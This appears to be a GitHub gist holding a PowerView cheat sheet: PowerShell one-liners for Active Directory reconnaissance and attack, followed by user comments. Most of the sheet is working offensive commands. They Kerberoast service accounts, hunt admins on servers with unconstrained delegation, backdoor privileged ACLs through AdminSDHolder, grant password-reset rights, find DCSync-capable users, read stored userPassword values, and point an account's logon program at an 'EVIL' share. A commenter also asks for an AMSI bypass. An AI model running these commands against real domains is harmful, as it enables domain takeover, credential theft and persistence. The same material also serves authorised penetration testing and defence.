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# PowerView's last major overhaul is detailed here: http://www.harmj0y.net/blog/powershell/make-powerview-great-again/ | |
# tricks for the 'old' PowerView are at https://gist.github.com/HarmJ0y/3328d954607d71362e3c | |
# the most up-to-date version of PowerView will always be in the dev branch of PowerSploit: | |
# https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1 | |
# New function naming schema: | |
# Verbs: | |
# Get : retrieve full raw data sets | |
# Find : ‘find’ specific data entries in a data set | |
# Add : add a new object to a destination | |
# Set : modify a given object | |
# Invoke : lazy catch-all | |
# Nouns: | |
# Verb-Domain* : indicates that LDAP/.NET querying methods are being executed | |
# Verb-WMI* : indicates that WMI is being used under the hood to execute enumeration | |
# Verb-Net* : indicates that Win32 API access is being used under the hood | |
# get all the groups a user is effectively a member of, 'recursing up' using tokenGroups | |
Get-DomainGroup -MemberIdentity <User/Group> | |
# get all the effective members of a group, 'recursing down' | |
Get-DomainGroupMember -Identity "Domain Admins" -Recurse | |
# use an alterate creadential for any function | |
$SecPassword = ConvertTo-SecureString 'BurgerBurgerBurger!' -AsPlainText -Force | |
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) | |
Get-DomainUser -Credential $Cred | |
# retrieve all the computer dns host names a GPP password applies to | |
Get-DomainOU -GPLink '<GPP_GUID>' | % {Get-DomainComputer -SearchBase $_.distinguishedname -Properties dnshostname} | |
# get all users with passwords changed > 1 year ago, returning sam account names and password last set times | |
$Date = (Get-Date).AddYears(-1).ToFileTime() | |
Get-DomainUser -LDAPFilter "(pwdlastset<=$Date)" -Properties samaccountname,pwdlastset | |
# all enabled users, returning distinguishednames | |
Get-DomainUser -LDAPFilter "(!userAccountControl:1.2.840.113556.1.4.803:=2)" -Properties distinguishedname | |
Get-DomainUser -UACFilter NOT_ACCOUNTDISABLE -Properties distinguishedname | |
# all disabled users | |
Get-DomainUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=2)" | |
Get-DomainUser -UACFilter ACCOUNTDISABLE | |
# all users that require smart card authentication | |
Get-DomainUser -LDAPFilter "(useraccountcontrol:1.2.840.113556.1.4.803:=262144)" | |
Get-DomainUser -UACFilter SMARTCARD_REQUIRED | |
# all users that *don't* require smart card authentication, only returning sam account names | |
Get-DomainUser -LDAPFilter "(!useraccountcontrol:1.2.840.113556.1.4.803:=262144)" -Properties samaccountname | |
Get-DomainUser -UACFilter NOT_SMARTCARD_REQUIRED -Properties samaccountname | |
# use multiple identity types for any *-Domain* function | |
'S-1-5-21-890171859-3433809279-3366196753-1114', 'CN=dfm,CN=Users,DC=testlab,DC=local','4c435dd7-dc58-4b14-9a5e-1fdb0e80d201','administrator' | Get-DomainUser -Properties samaccountname,lastlogoff | |
# find all users with an SPN set (likely service accounts) | |
Get-DomainUser -SPN | |
# check for users who don't have kerberos preauthentication set | |
Get-DomainUser -PreauthNotRequired | |
Get-DomainUser -UACFilter DONT_REQ_PREAUTH | |
# find all service accounts in "Domain Admins" | |
Get-DomainUser -SPN | ?{$_.memberof -match 'Domain Admins'} | |
# find users with sidHistory set | |
Get-DomainUser -LDAPFilter '(sidHistory=*)' | |
# find any users/computers with constrained delegation st | |
Get-DomainUser -TrustedToAuth | |
Get-DomainComputer -TrustedToAuth | |
# enumerate all servers that allow unconstrained delegation, and all privileged users that aren't marked as sensitive/not for delegation | |
$Computers = Get-DomainComputer -Unconstrained | |
$Users = Get-DomainUser -AllowDelegation -AdminCount | |
# return the local *groups* of a remote server | |
Get-NetLocalGroup SERVER.domain.local | |
# return the local group *members* of a remote server using Win32 API methods (faster but less info) | |
Get-NetLocalGroupMember -Method API -ComputerName SERVER.domain.local | |
# Kerberoast any users in a particular OU with SPNs set | |
Invoke-Kerberoast -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" | |
# Find-DomainUserLocation == old Invoke-UserHunter | |
# enumerate servers that allow unconstrained Kerberos delegation and show all users logged in | |
Find-DomainUserLocation -ComputerUnconstrained -ShowAll | |
# hunt for admin users that allow delegation, logged into servers that allow unconstrained delegation | |
Find-DomainUserLocation -ComputerUnconstrained -UserAdminCount -UserAllowDelegation | |
# find all computers in a given OU | |
Get-DomainComputer -SearchBase "ldap://OU=..." | |
# Get the logged on users for all machines in any *server* OU in a particular domain | |
Get-DomainOU -Identity *server* -Domain <domain> | %{Get-DomainComputer -SearchBase $_.distinguishedname -Properties dnshostname | %{Get-NetLoggedOn -ComputerName $_}} | |
# enumerate all gobal catalogs in the forest | |
Get-ForestGlobalCatalog | |
# turn a list of computer short names to FQDNs, using a global catalog | |
gc computers.txt | % {Get-DomainComputer -SearchBase "GC://GLOBAL.CATALOG" -LDAP "(name=$_)" -Properties dnshostname} | |
# enumerate the current domain controller policy | |
$DCPolicy = Get-DomainPolicy -Policy DC | |
$DCPolicy.PrivilegeRights # user privilege rights on the dc... | |
# enumerate the current domain policy | |
$DomainPolicy = Get-DomainPolicy -Policy Domain | |
$DomainPolicy.KerberosPolicy # useful for golden tickets ;) | |
$DomainPolicy.SystemAccess # password age/etc. | |
# enumerate what machines that a particular user/group identity has local admin rights to | |
# Get-DomainGPOUserLocalGroupMapping == old Find-GPOLocation | |
Get-DomainGPOUserLocalGroupMapping -Identity <User/Group> | |
# enumerate what machines that a given user in the specified domain has RDP access rights to | |
Get-DomainGPOUserLocalGroupMapping -Identity <USER> -Domain <DOMAIN> -LocalGroup RDP | |
# export a csv of all GPO mappings | |
Get-DomainGPOUserLocalGroupMapping | %{$_.computers = $_.computers -join ", "; $_} | Export-CSV -NoTypeInformation gpo_map.csv | |
# use alternate credentials for searching for files on the domain | |
# Find-InterestingDomainShareFile == old Invoke-FileFinder | |
$Password = "PASSWORD" | ConvertTo-SecureString -AsPlainText -Force | |
$Credential = New-Object System.Management.Automation.PSCredential("DOMAIN\user",$Password) | |
Find-InterestingDomainShareFile -Domain DOMAIN -Credential $Credential | |
# enumerate who has rights to the 'matt' user in 'testlab.local', resolving rights GUIDs to names | |
Get-DomainObjectAcl -Identity matt -ResolveGUIDs -Domain testlab.local | |
# grant user 'will' the rights to change 'matt's password | |
Add-DomainObjectAcl -TargetIdentity matt -PrincipalIdentity will -Rights ResetPassword -Verbose | |
# audit the permissions of AdminSDHolder, resolving GUIDs | |
Get-DomainObjectAcl -SearchBase 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -ResolveGUIDs | |
# backdoor the ACLs of all privileged accounts with the 'matt' account through AdminSDHolder abuse | |
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All | |
# retrieve *most* users who can perform DC replication for dev.testlab.local (i.e. DCsync) | |
Get-DomainObjectAcl "dc=dev,dc=testlab,dc=local" -ResolveGUIDs | ? { | |
($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') | |
} | |
# find linked DA accounts using name correlation | |
Get-DomainGroupMember 'Domain Admins' | %{Get-DomainUser $_.membername -LDAPFilter '(displayname=*)'} | %{$a=$_.displayname.split(' ')[0..1] -join ' '; Get-DomainUser -LDAPFilter "(displayname=*$a*)" -Properties displayname,samaccountname} | |
# save a PowerView object to disk for later usage | |
Get-DomainUser | Export-Clixml user.xml | |
$Users = Import-Clixml user.xml | |
# Find any machine accounts in privileged groups | |
Get-DomainGroup -AdminCount | Get-DomainGroupMember -Recurse | ?{$_.MemberName -like '*$'} | |
# Enumerate permissions for GPOs where users with RIDs of > -1000 have some kind of modification/control rights | |
Get-DomainObjectAcl -LDAPFilter '(objectCategory=groupPolicyContainer)' | ? { ($_.SecurityIdentifier -match '^S-1-5-.*-[1-9]\d{3,}$') -and ($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner')} | |
# find all policies applied to a current machine | |
Get-DomainGPO -ComputerIdentity windows1.testlab.local | |
# enumerate all groups in a domain that don't have a global scope, returning just group names | |
Get-DomainGroup -GroupScope NotGlobal -Properties name | |
# enumerate all foreign users in the global catalog, and query the specified domain localgroups for their memberships | |
# query the global catalog for foreign security principals with domain-based SIDs, and extract out all distinguishednames | |
$ForeignUsers = Get-DomainObject -Properties objectsid,distinguishedname -SearchBase "GC://testlab.local" -LDAPFilter '(objectclass=foreignSecurityPrincipal)' | ? {$_.objectsid -match '^S-1-5-.*-[1-9]\d{2,}$'} | Select-Object -ExpandProperty distinguishedname | |
$Domains = @{} | |
$ForeignMemberships = ForEach($ForeignUser in $ForeignUsers) { | |
# extract the domain the foreign user was added to | |
$ForeignUserDomain = $ForeignUser.SubString($ForeignUser.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' | |
# check if we've already enumerated this domain | |
if (-not $Domains[$ForeignUserDomain]) { | |
$Domains[$ForeignUserDomain] = $True | |
# enumerate all domain local groups from the given domain that have membership set with our foreignSecurityPrincipal set | |
$Filter = "(|(member=" + $($ForeignUsers -join ")(member=") + "))" | |
Get-DomainGroup -Domain $ForeignUserDomain -Scope DomainLocal -LDAPFilter $Filter -Properties distinguishedname,member | |
} | |
} | |
$ForeignMemberships | fl | |
# if running in -sta mode, impersonate another credential a la "runas /netonly" | |
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force | |
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) | |
Invoke-UserImpersonation -Credential $Cred | |
# ... action | |
Invoke-RevertToSelf | |
# enumerates computers in the current domain with 'outlier' properties, i.e. properties not set from the firest result returned by Get-DomainComputer | |
Get-DomainComputer -FindOne | Find-DomainObjectPropertyOutlier | |
# set the specified property for the given user identity | |
Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose | |
# Set the owner of 'dfm' in the current domain to 'harmj0y' | |
Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y | |
# retrieve *most* users who can perform DC replication for dev.testlab.local (i.e. DCsync) | |
Get-ObjectACL "DC=testlab,DC=local" -ResolveGUIDs | ? { | |
($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ObjectAceType -match 'Replication-Get') | |
} | |
# check if any user passwords are set | |
$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl |
hello, thanks for the wonderful stuff you have here. However, I am following a tutorial and this script was mentioned. When I try to use it I get the error "the operator '<' is reserved for future use. The expectation was not to provide a value to replace this when running it. What am I doing wrong? I would appreciate any help. thanks.
@GeneralXpress This file is not meant to be run as a script. It's rather a cheatsheet with a list of commands you can run after sourcing PowerShell.ps1
.
You would substitute <User/Group>
with a user or group you are interested in for example
enumerate the current domain policy
$DomainPolicy = Get-DomainPolicy -Policy Domain - This was not working.
I believe below is the correct one.
$DomainPolicy = Get-DomainPolicy -Domain DomainName
$DomainPolicy.KerberosPolicy # useful for golden tickets ;)
$DomainPolicy.SystemAccess # password age/etc.
| Get-DomainGroupMember -Recurse | ?{$_.MemberName -like '*$'}
does not seem to work.
Get-DomainSearcher : A parameter cannot be found that matches parameter name 'Identity'. At C:\PSScripts\PowerView.ps1:11098 char:45
god
| Get-DomainGroupMember -Recurse | ?{$_.MemberName -like '*$'}
does not seem to work.
Get-DomainSearcher : A parameter cannot be found that matches parameter name 'Identity'. At C:\PSScripts\PowerView.ps1:11098 char:45
Is there any solution yet, for this issue?
fr
Kindly provide AMSI command
ggh team
| Get-DomainGroupMember -Recurse | ?{$_.MemberName -like '*$'}
does not seem to work.
Get-DomainSearcher : A parameter cannot be found that matches parameter name 'Identity'.
At C:\PSScripts\PowerView.ps1:11098 char:45